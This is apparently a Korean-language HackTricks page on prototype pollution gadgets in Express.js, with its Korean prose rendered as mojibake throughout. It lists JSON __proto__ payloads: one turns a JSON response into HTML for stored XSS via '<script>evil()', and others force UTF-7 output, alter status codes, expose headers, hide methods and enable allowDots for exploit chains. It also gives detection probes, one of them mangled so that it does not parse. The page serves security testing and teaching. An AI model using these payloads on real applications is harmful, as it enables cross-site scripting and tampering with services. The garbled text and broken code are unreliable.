Express Prototype Pollution Gadgets
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
XSS μλ΅ μ 곡
μμΈν λ΄μ©μ μλ³Έ μ°κ΅¬λ₯Ό μ°Έμ‘°νμΈμ
JSON μ½ν μΈ μ νμ HTMLλ‘ λ³κ²½
Express μ±μμ JSON μ½ν μΈ μ ν μλ΅μ μ¬μ©νκ³ JSONμ λ°μν λ:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
μ΄ κ²½μ° JSON μ½ν
μΈ μ νμΌλ‘ XSSλ μΌλ°μ μΌλ‘ λΆκ°λ₯ν©λλ€. κ·Έλ¬λ νλ‘ν νμ
μ€μΌμ ν΅ν΄ μ°λ¦¬λ Expressκ° HTML μλ΅μ μ 곡νλλ‘ νΌλμ€λ½κ² λ§λ€ μ μμ΅λλ€. μ΄ μ·¨μ½μ μ μ ν리μΌμ΄μ
μ΄ **res.send(obj)**λ₯Ό μ¬μ©νκ³ application/json μ½ν
μΈ μ νμΌλ‘ λ³Έλ¬Έ νμλ₯Ό μ¬μ©νλ λ° μμ‘΄ν©λλ€.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
body λ° _body μμ±μ μ€μΌμν΄μΌλ‘μ¨, Expressκ° HTML μ½ν
μΈ μ νμ μ 곡νκ³ _body μμ±μ λ°μνκ² ν μ μμΌλ©°, μ΄λ‘ μΈν΄ μ μ₯λ XSSκ° λ°μν μ μμ΅λλ€.
UTF7 λ λλ§
Expressκ° UTF-7 μ½ν μΈ λ₯Ό λ λλ§νλλ‘ λ§λ€ μ μμ΅λλ€:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
μμ ν μ€μΊλ κΈ°μ
JSON 곡백
λ€μ PPλ JSON λ΄λΆμ μμ±μ μΆκ° 곡백μ μΆκ°νμ¬ κΈ°λ₯μ΄ μμλμ§ μλλ‘ ν©λλ€:
{ "__proto__": { "json spaces": " " } }
κ·ΈλΌ λ°μ¬λ JSONμ λ€μκ³Ό κ°μ΄ 보μ λλ€:
{"foo": "bar"} -- Note the extra space
λ ΈμΆλ ν€λ
λ€μ PP κ°μ ―μ μλ²κ° HTTP ν€λλ₯Ό λ°ννλλ‘ ν©λλ€: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
CORS λͺ¨λμ΄ μ€μΉλμ΄ μμ΄μΌ ν©λλ€
OPTIONS λ©μλ
λ€μ νμ΄λ‘λλ₯Ό μ¬μ©νλ©΄ OPTIONS μλ΅μμ λ©μλλ₯Ό μ¨κΈΈ μ μμ΅λλ€:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
μν
λ€μ PP νμ΄λ‘λλ₯Ό μ¬μ©νμ¬ λ°νλ μν μ½λλ₯Ό λ³κ²½ν μ μμ΅λλ€:
{ "__proto__": { "status": 510 } }
μ€λ₯
μμ κ°(μ: λ¬Έμμ΄)μΌλ‘ νλ‘ν νμ
μ ν λΉνλ©΄ νλ‘ν νμ
μ κ°μ²΄μ¬μΌ νλ―λ‘ no-op μμ
μ΄ λ°μν©λλ€. Object.prototype μ체μ νλ‘ν νμ
κ°μ²΄λ₯Ό ν λΉνλ €κ³ νλ©΄ μμΈκ° λ°μν©λλ€. μ°λ¦¬λ μ΄ λ κ°μ§ λμμ μ¬μ©νμ¬ νλ‘ν νμ
μ€μΌμ΄ μ±κ³΅νλμ§ κ°μ§ν μ μμ΅λλ€:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflected Value
μμ© νλ‘κ·Έλ¨μ΄ μλ΅μ κ°μ²΄λ₯Ό ν¬ν¨ν λ, __proto__μ ν¨κ» λΉμ μμ μΈ μ΄λ¦μ μμ±μ μμ±νλ κ²μ μ μ©ν μ μμ΅λλ€. νΉν, μλ΅μ λΉμ μμ μΈ μμ±λ§ λ°νλλ κ²½μ° μ΄λ μμ© νλ‘κ·Έλ¨μ μ·¨μ½μ μ λνλΌ μ μμ΅λλ€:
{ "unusualName": "value", "__proto__": "test" }
λν Lodashμ κ°μ λΌμ΄λΈλ¬λ¦¬κ° μ¬μ©λλ μλ리μ€μμλ νλ‘ν νμ μ€μΌ(PP)μ ν΅ν΄ μμ±μ μ€μ νλ κ²κ³Ό κ°μ²΄ λ΄λΆμμ μ§μ μ€μ νλ κ²μ΄ λ λ€λ₯Έ μ§λ¨ μ κ·Ό λ°©μμ μ 곡ν©λλ€. λ§μ½ μ΄λ¬ν μμ±μ΄ μλ΅μμ μλ΅λλ€λ©΄, μ΄λ Lodashκ° λ³ν©νκΈ° μ μ λμ κ°μ²΄μμ μμ±μ μ‘΄μ¬λ₯Ό νμΈνκ³ μμμ μμ¬ν©λλ€.
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Misc
Allow Dots
Expressμλ 쿼리 λ¬Έμμ΄ λ§€κ°λ³μμμ κ°μ²΄λ₯Ό μμ±ν μ μλ μ΅μ
μ΄ μμ΅λλ€.
μ΄κ²μ νλ‘ν νμ
μ€μΌ μ·¨μ½μ μ μ
μ©νκΈ° μν λ²κ·Έ 체μΈμμ νμ€ν μ¬μ©ν μ μμ΅λλ€.
{ "__proto__": { "allowDots": true } }
?foo.bar=bazλ Nodeμμ κ°μ²΄λ₯Ό μμ±ν©λλ€.
References
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


